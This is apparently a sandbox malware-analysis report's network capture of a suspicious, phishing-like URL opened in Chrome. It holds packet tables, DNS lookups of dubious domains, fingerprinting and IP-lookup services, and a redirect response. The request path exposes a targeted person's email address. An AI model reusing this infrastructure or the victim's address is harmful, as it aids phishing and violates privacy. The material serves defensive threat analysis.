Nov 27, 2024 04:07:52.783937931 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.783948898 CET	49839	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.783955097 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.786765099 CET	49844	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.786782980 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.786856890 CET	49844	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.786994934 CET	49844	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.787009001 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:53.283286095 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:53.283380985 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:53.283622980 CET	49840	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:53.283652067 CET	49840	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:53.283670902 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:53.283700943 CET	49840	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:53.283708096 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:53.286631107 CET	49845	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:53.286667109 CET	443	49845	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:53.286964893 CET	49845	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:53.287029028 CET	49845	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:53.287035942 CET	443	49845	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.052081108 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.052702904 CET	49841	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.052717924 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.053208113 CET	49841	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.053212881 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.077019930 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.077481031 CET	49842	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.077502012 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.078047991 CET	49842	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.078052998 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.225861073 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.226322889 CET	49843	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.226337910 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.226980925 CET	49843	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.226985931 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.496083975 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.496154070 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.496203899 CET	49841	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.496380091 CET	49841	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.496398926 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.496408939 CET	49841	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.496413946 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.499455929 CET	49846	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.499499083 CET	443	49846	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.499568939 CET	49846	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.499710083 CET	49846	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.499727011 CET	443	49846	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.504801035 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.505251884 CET	49844	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.505261898 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.505790949 CET	49844	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.505795956 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.521085024 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.521151066 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.521193981 CET	49842	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.521337032 CET	49842	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.521358013 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.521368980 CET	49842	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.521374941 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.523849010 CET	49847	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.523885965 CET	443	49847	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.523988008 CET	49847	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.524111986 CET	49847	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.524125099 CET	443	49847	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.670989990 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.671071053 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.671137094 CET	49843	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.671324015 CET	49843	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.671335936 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.671346903 CET	49843	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.671351910 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.674366951 CET	49848	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.674390078 CET	443	49848	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.674475908 CET	49848	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.674637079 CET	49848	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.674650908 CET	443	49848	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.939805984 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.939865112 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.940007925 CET	49844	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.940462112 CET	49844	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.940479994 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.940495968 CET	49844	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.940500975 CET	443	49844	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.943427086 CET	49849	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.943445921 CET	443	49849	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:54.943533897 CET	49849	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.943717957 CET	49849	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:54.943731070 CET	443	49849	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:55.068582058 CET	443	49845	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:55.069178104 CET	49845	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:55.069195986 CET	443	49845	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:55.069649935 CET	49845	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:55.069655895 CET	443	49845	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:55.522320032 CET	443	49845	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:55.522398949 CET	443	49845	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:55.522774935 CET	49845	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:55.522774935 CET	49845	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:55.522774935 CET	49845	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:55.525244951 CET	49850	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:55.525275946 CET	443	49850	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:55.525381088 CET	49850	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:55.525525093 CET	49850	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:55.525541067 CET	443	49850	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 04:06:33.998831034 CET	53	60517	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:34.004491091 CET	53	51220	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:34.991590977 CET	65470	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:34.992247105 CET	63392	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:35.306196928 CET	53	63392	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:35.306724072 CET	53	65470	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:36.687047958 CET	64764	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:36.687344074 CET	63065	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:36.705434084 CET	53	63353	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:36.825067997 CET	53	63065	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:36.825119972 CET	53	64764	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:37.514518023 CET	56620	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:37.514658928 CET	61671	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:37.651896000 CET	53	61671	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:37.652065039 CET	53	56620	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:38.768490076 CET	60587	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:38.768626928 CET	64502	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:39.316972017 CET	53	64502	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:39.317171097 CET	53	60587	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:44.584108114 CET	55859	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:44.584245920 CET	53770	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:44.681514978 CET	55931	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:44.681801081 CET	58808	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:44.682259083 CET	60093	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:44.682415962 CET	63541	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:44.723381996 CET	53	53770	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:44.724567890 CET	53	55859	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:44.819169044 CET	53	55931	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:44.820139885 CET	53	58808	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:44.820291042 CET	53	58931	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:44.821690083 CET	53	60093	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:44.923743963 CET	53	63541	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:46.559488058 CET	60582	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:46.559645891 CET	60619	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:46.697587013 CET	53	60582	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:46.697601080 CET	53	60619	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:47.554090023 CET	138	138	192.168.2.4	192.168.2.255
Nov 27, 2024 04:06:48.909225941 CET	50234	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:48.909656048 CET	61594	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:49.119272947 CET	53	50234	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:49.130095005 CET	53	61594	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:49.205404043 CET	57909	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:49.205544949 CET	54136	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:49.343386889 CET	53	57909	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:49.343723059 CET	53	54136	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:49.577887058 CET	54552	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:49.578277111 CET	61763	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:49.716586113 CET	53	61763	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:49.806874990 CET	53	54552	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:50.033603907 CET	58535	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:50.172998905 CET	53	58535	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:50.187683105 CET	53222	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:50.325753927 CET	53	53222	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:50.906610012 CET	64414	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:50.906794071 CET	64895	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:51.043804884 CET	53	64414	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:51.044527054 CET	53	64895	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:53.793102980 CET	53	60579	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:58.148669958 CET	51220	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:58.148808002 CET	51955	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:58.179296970 CET	61406	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:58.179385900 CET	57201	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:06:58.547804117 CET	53	51955	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:58.548104048 CET	53	51220	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:58.833770037 CET	53	61406	1.1.1.1	192.168.2.4
Nov 27, 2024 04:06:58.833935022 CET	53	57201	1.1.1.1	192.168.2.4
Nov 27, 2024 04:07:02.684390068 CET	52697	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:07:02.684541941 CET	57691	53	192.168.2.4	1.1.1.1
Nov 27, 2024 04:07:02.823868036 CET	53	57691	1.1.1.1	192.168.2.4
Nov 27, 2024 04:07:02.823890924 CET	53	52697	1.1.1.1	192.168.2.4
Nov 27, 2024 04:07:12.725506067 CET	53	65280	1.1.1.1	192.168.2.4
Nov 27, 2024 04:07:33.437994003 CET	53	61267	1.1.1.1	192.168.2.4
Nov 27, 2024 04:07:35.744394064 CET	53	61098	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 27, 2024 04:06:44.923881054 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 27, 2024 04:06:34.991590977 CET	192.168.2.4	1.1.1.1	0x6f9f	Standard query (0)	server.citierupticx.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:34.992247105 CET	192.168.2.4	1.1.1.1	0x9b83	Standard query (0)	server.citierupticx.com	65	IN (0x0001)	false
Nov 27, 2024 04:06:36.687047958 CET	192.168.2.4	1.1.1.1	0xf2a0	Standard query (0)	server.citierupticx.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:36.687344074 CET	192.168.2.4	1.1.1.1	0xd215	Standard query (0)	server.citierupticx.com	65	IN (0x0001)	false
Nov 27, 2024 04:06:37.514518023 CET	192.168.2.4	1.1.1.1	0xb3ac	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:37.514658928 CET	192.168.2.4	1.1.1.1	0xdf4c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 27, 2024 04:06:38.768490076 CET	192.168.2.4	1.1.1.1	0x5cf0	Standard query (0)	ft0.blockchainmemspool.site	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:38.768626928 CET	192.168.2.4	1.1.1.1	0x8304	Standard query (0)	ft0.blockchainmemspool.site	65	IN (0x0001)	false
Nov 27, 2024 04:06:44.584108114 CET	192.168.2.4	1.1.1.1	0x8887	Standard query (0)	ft0.blockchainmemspool.site	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.584245920 CET	192.168.2.4	1.1.1.1	0x67da	Standard query (0)	ft0.blockchainmemspool.site	65	IN (0x0001)	false
Nov 27, 2024 04:06:44.681514978 CET	192.168.2.4	1.1.1.1	0xb0b8	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.681801081 CET	192.168.2.4	1.1.1.1	0xa7d7	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Nov 27, 2024 04:06:44.682259083 CET	192.168.2.4	1.1.1.1	0xb8b4	Standard query (0)	fpnpmcdn.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.682415962 CET	192.168.2.4	1.1.1.1	0x12e0	Standard query (0)	fpnpmcdn.net	65	IN (0x0001)	false
Nov 27, 2024 04:06:46.559488058 CET	192.168.2.4	1.1.1.1	0x9ff9	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:46.559645891 CET	192.168.2.4	1.1.1.1	0x7a73	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Nov 27, 2024 04:06:48.909225941 CET	192.168.2.4	1.1.1.1	0xc39d	Standard query (0)	api.fpjs.io	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:48.909656048 CET	192.168.2.4	1.1.1.1	0x4186	Standard query (0)	api.fpjs.io	65	IN (0x0001)	false
Nov 27, 2024 04:06:49.205404043 CET	192.168.2.4	1.1.1.1	0xd00d	Standard query (0)	fpnpmcdn.net	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.205544949 CET	192.168.2.4	1.1.1.1	0x6f5d	Standard query (0)	fpnpmcdn.net	65	IN (0x0001)	false
Nov 27, 2024 04:06:49.577887058 CET	192.168.2.4	1.1.1.1	0xff47	Standard query (0)	use1-turn.fpjs.io	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.578277111 CET	192.168.2.4	1.1.1.1	0x2fdf	Standard query (0)	use1-turn.fpjs.io	28	IN (0x0001)	false
Nov 27, 2024 04:06:50.033603907 CET	192.168.2.4	1.1.1.1	0xde17	Standard query (0)	use1-turn.fpjs.io	28	IN (0x0001)	false
Nov 27, 2024 04:06:50.187683105 CET	192.168.2.4	1.1.1.1	0x6943	Standard query (0)	use1-turn.fpjs.io	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:50.906610012 CET	192.168.2.4	1.1.1.1	0xeee7	Standard query (0)	api.fpjs.io	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:50.906794071 CET	192.168.2.4	1.1.1.1	0xa68b	Standard query (0)	api.fpjs.io	65	IN (0x0001)	false
Nov 27, 2024 04:06:58.148669958 CET	192.168.2.4	1.1.1.1	0xfb2c	Standard query (0)	icarus.eandjheatingandairs.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:58.148808002 CET	192.168.2.4	1.1.1.1	0xf7eb	Standard query (0)	icarus.eandjheatingandairs.com	65	IN (0x0001)	false
Nov 27, 2024 04:06:58.179296970 CET	192.168.2.4	1.1.1.1	0x394b	Standard query (0)	logo.clearbit.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:58.179385900 CET	192.168.2.4	1.1.1.1	0x2250	Standard query (0)	logo.clearbit.com	65	IN (0x0001)	false
Nov 27, 2024 04:07:02.684390068 CET	192.168.2.4	1.1.1.1	0xefbb	Standard query (0)	icarus.eandjheatingandairs.com	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:07:02.684541941 CET	192.168.2.4	1.1.1.1	0xeec0	Standard query (0)	icarus.eandjheatingandairs.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 04:06:35.306724072 CET	1.1.1.1	192.168.2.4	0x6f9f	No error (0)	server.citierupticx.com		185.212.70.145	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:36.825119972 CET	1.1.1.1	192.168.2.4	0xf2a0	No error (0)	server.citierupticx.com		185.212.70.145	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:37.651896000 CET	1.1.1.1	192.168.2.4	0xdf4c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 27, 2024 04:06:37.652065039 CET	1.1.1.1	192.168.2.4	0xb3ac	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:39.317171097 CET	1.1.1.1	192.168.2.4	0x5cf0	No error (0)	ft0.blockchainmemspool.site		91.208.197.216	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.724567890 CET	1.1.1.1	192.168.2.4	0x8887	No error (0)	ft0.blockchainmemspool.site		91.208.197.216	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.819169044 CET	1.1.1.1	192.168.2.4	0xb0b8	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.821690083 CET	1.1.1.1	192.168.2.4	0xb8b4	No error (0)	fpnpmcdn.net		13.227.8.44	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.821690083 CET	1.1.1.1	192.168.2.4	0xb8b4	No error (0)	fpnpmcdn.net		13.227.8.87	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.821690083 CET	1.1.1.1	192.168.2.4	0xb8b4	No error (0)	fpnpmcdn.net		13.227.8.48	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:44.821690083 CET	1.1.1.1	192.168.2.4	0xb8b4	No error (0)	fpnpmcdn.net		13.227.8.63	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:46.697587013 CET	1.1.1.1	192.168.2.4	0x9ff9	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.119272947 CET	1.1.1.1	192.168.2.4	0xc39d	No error (0)	api.fpjs.io		76.223.60.10	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.119272947 CET	1.1.1.1	192.168.2.4	0xc39d	No error (0)	api.fpjs.io		13.248.176.92	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.343386889 CET	1.1.1.1	192.168.2.4	0xd00d	No error (0)	fpnpmcdn.net		13.227.8.63	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.343386889 CET	1.1.1.1	192.168.2.4	0xd00d	No error (0)	fpnpmcdn.net		13.227.8.48	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.343386889 CET	1.1.1.1	192.168.2.4	0xd00d	No error (0)	fpnpmcdn.net		13.227.8.87	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.343386889 CET	1.1.1.1	192.168.2.4	0xd00d	No error (0)	fpnpmcdn.net		13.227.8.44	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.806874990 CET	1.1.1.1	192.168.2.4	0xff47	No error (0)	use1-turn.fpjs.io		3.7.212.116	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.806874990 CET	1.1.1.1	192.168.2.4	0xff47	No error (0)	use1-turn.fpjs.io		15.206.119.9	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:49.806874990 CET	1.1.1.1	192.168.2.4	0xff47	No error (0)	use1-turn.fpjs.io		13.200.74.87	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:50.325753927 CET	1.1.1.1	192.168.2.4	0x6943	No error (0)	use1-turn.fpjs.io		3.7.212.116	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:50.325753927 CET	1.1.1.1	192.168.2.4	0x6943	No error (0)	use1-turn.fpjs.io		15.206.119.9	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:50.325753927 CET	1.1.1.1	192.168.2.4	0x6943	No error (0)	use1-turn.fpjs.io		13.200.74.87	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:51.043804884 CET	1.1.1.1	192.168.2.4	0xeee7	No error (0)	api.fpjs.io		13.248.176.92	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:51.043804884 CET	1.1.1.1	192.168.2.4	0xeee7	No error (0)	api.fpjs.io		76.223.60.10	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:58.548104048 CET	1.1.1.1	192.168.2.4	0xfb2c	No error (0)	icarus.eandjheatingandairs.com		185.212.70.145	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:58.833770037 CET	1.1.1.1	192.168.2.4	0x394b	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 04:06:58.833770037 CET	1.1.1.1	192.168.2.4	0x394b	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.47	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:58.833770037 CET	1.1.1.1	192.168.2.4	0x394b	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.64	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:58.833770037 CET	1.1.1.1	192.168.2.4	0x394b	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.65	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:58.833770037 CET	1.1.1.1	192.168.2.4	0x394b	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.72	A (IP address)	IN (0x0001)	false
Nov 27, 2024 04:06:58.833935022 CET	1.1.1.1	192.168.2.4	0x2250	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2024 04:07:02.823890924 CET	1.1.1.1	192.168.2.4	0xefbb	No error (0)	icarus.eandjheatingandairs.com		185.212.70.145	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

server.citierupticx.com

ft0.blockchainmemspool.site

fs.microsoft.com

https:

ipinfo.io

fpnpmcdn.net

api.fpjs.io

logo.clearbit.com

icarus.eandjheatingandairs.com

slscr.update.microsoft.com

otelrules.azureedge.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	185.212.70.145	80	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 04:06:35.431385994 CET	478	OUT	GET /specId/product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1 Host: server.citierupticx.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 27, 2024 04:06:36.676935911 CET	1153	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Wed, 27 Nov 2024 03:06:36 GMT server: LiteSpeed location: https://server.citierupticx.com/specId/product-mjeml.avio.co.jp platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 